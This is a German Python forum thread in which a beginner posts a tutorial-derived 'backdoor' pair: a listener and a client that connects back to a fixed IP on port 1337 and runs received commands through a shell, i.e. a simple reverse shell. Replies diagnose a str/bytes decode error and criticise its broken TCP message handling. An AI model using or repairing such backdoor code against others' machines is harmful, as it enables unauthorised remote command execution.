Python Backdoor funktioniert nicht

Wenn du dir nicht sicher bist, in welchem der anderen Foren du die Frage stellen sollst, dann bist du hier im Forum für allgemeine Fragen sicher richtig.
Antworten
Antonio
User
Beiträge: 3
Registriert: Freitag 9. Oktober 2020, 08:29
Wohnort: Hamburg

Hallo zusammen,
ich habe mich in letzter Zeit ein wenig mit Python Hacking beschäftigt und habe versucht eine Backdoor zu schreiben mit zwei scripts:
1. Backdoor-Sender:

Code: Alles auswählen

import socket

host = ''
port = 1337
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
s.listen(3)

connection, addr = s.accept()

print ("Connection established to " + str(addr[0]))

data = connection.recv(256)
print(bytes.decode(data))

while True:
    cmd = input("Command: ")
    connection.send(bytes.decode(cmd).strip())
    data = connection.recv(256)
    print(data)
2. Backdoor:

Code: Alles auswählen

import socket
import subprocess

host = '192.168.10.103'
port = 1337
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port))
s.send(str.encode("Backdoor running."))

while True:
    data = s.recv(256)
    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,
                            stdin=subprocess.PIPE, stderr=subprocess.PIPE)
    stdout = proc.stderr.read()
    s.send(stdout)
Ich führe immer erst denn Backdoor-Sender aus und danach die Backdoor, danach werde ich in der Backdoor-Sender Ausgabe benachrichtig das die Verbindung zu meinem Computer hergestellt ist und das alles läuft. Danach kann ich einen Command eingeben jedoch bekomme ich dann ein Fehlermeldung:

Traceback (most recent call last):
File "/Users/antonwiederhold/Desktop/Python_Hacking/backdoor/backdoor sender.py", line 20, in <module>
connection.send(bytes.decode(cmd))
TypeError: descriptor 'decode' requires a 'bytes' object but received a 'str'

Ich verstehe zwar die Fehlermeldung jedoch kann ich sie leider nicht umsetzen.

Vielen Dank schonmal

Antonio :D
Benutzeravatar
sparrow
User
Beiträge: 4538
Registriert: Freitag 17. April 2009, 10:28

Nur so aus Interesse: Das Script hast du nicht geschrieben sondern abgeschaut. Meine Frage: Wo genau wird denn anhand einer "Backdoor" so kaputte Socket-Programmierung gezeigt?
Antonio
User
Beiträge: 3
Registriert: Freitag 9. Oktober 2020, 08:29
Wohnort: Hamburg

Das stimmt sorry hatte vergessen das dazu zu schreiben habe es von Morpheus Tutorials. Verstehe deine Frage leider nicht bin noch am Anfang.
Sirius3
User
Beiträge: 18272
Registriert: Sonntag 21. Oktober 2012, 17:20

@Antonio: wie 99.99999% aller Beispiele im Netz ist die Socketprogrammierung fehlerhaft, weil nicht berücksichtigt wird, dass TCP ein Stream ist und es keine Nachrichtengrenzen gibt. So lernt man keine Socketprogrammierung.
Ansonsten ist die Fehlermeldung doch eindeutig. cmd ist ein String und den willst Du nicht dekodieren sondern encodieren.
Man ruft auch nicht Methoden über die Basisklasse auf, sondern über die Instanz: data.decode.

Aber wie schon geschrieben, der Code an sich ist kaputt, Du mußt ein Protokoll einführen, um Nachrichten sauber per TCP zu übertragen.
Am einfachsten ist es, gar nicht mit Sockets direkt zu arbeiten, sondern sich per makefile ein Fileobjekt geben lassen, so dass man wie mit normalen Dateien (Pipes) arbeiten kann.
Benutzeravatar
sparrow
User
Beiträge: 4538
Registriert: Freitag 17. April 2009, 10:28

@Antonio: Der Code geistert hier immer mal wieder durch das Forum. Wenn du danach suchst, wirst du einige Threads zu genau dem finden.
Antonio
User
Beiträge: 3
Registriert: Freitag 9. Oktober 2020, 08:29
Wohnort: Hamburg

Ok danke ich sehe mich mal um...
Kanaax
User
Beiträge: 17
Registriert: Mittwoch 5. August 2020, 09:15

Sirius3 hat geschrieben: Freitag 9. Oktober 2020, 10:22 @Antonio: wie 99.99999% aller Beispiele im Netz ist die Socketprogrammierung fehlerhaft, weil nicht berücksichtigt wird, dass TCP ein Stream ist und es keine Nachrichtengrenzen gibt.
Morpheus ist ja auch eigentlich nur ein Kanal wo gezeigt wird wie so etwas Funktioniert und das auch für nicht ITler. Daher denke ich das es "einfachheitshalber" so gezeigt wurde.
Sirius3
User
Beiträge: 18272
Registriert: Sonntag 21. Oktober 2012, 17:20

@Kanaax: wenn etwas gezeigt wird, wie etwas nicht funktioniert, kann es noch so einfach sein; das hilft nicht weiter.
Kanaax
User
Beiträge: 17
Registriert: Mittwoch 5. August 2020, 09:15

@Sirius3 einige Videos sind auch einfach veraltet und müssen dementsprechend angepasst werden. Ich konnte schon einiges von ihm lernen, dafür musste ich aber auch selber etwas nachdenken und nicht alles nur kopieren und einfügen.
Antworten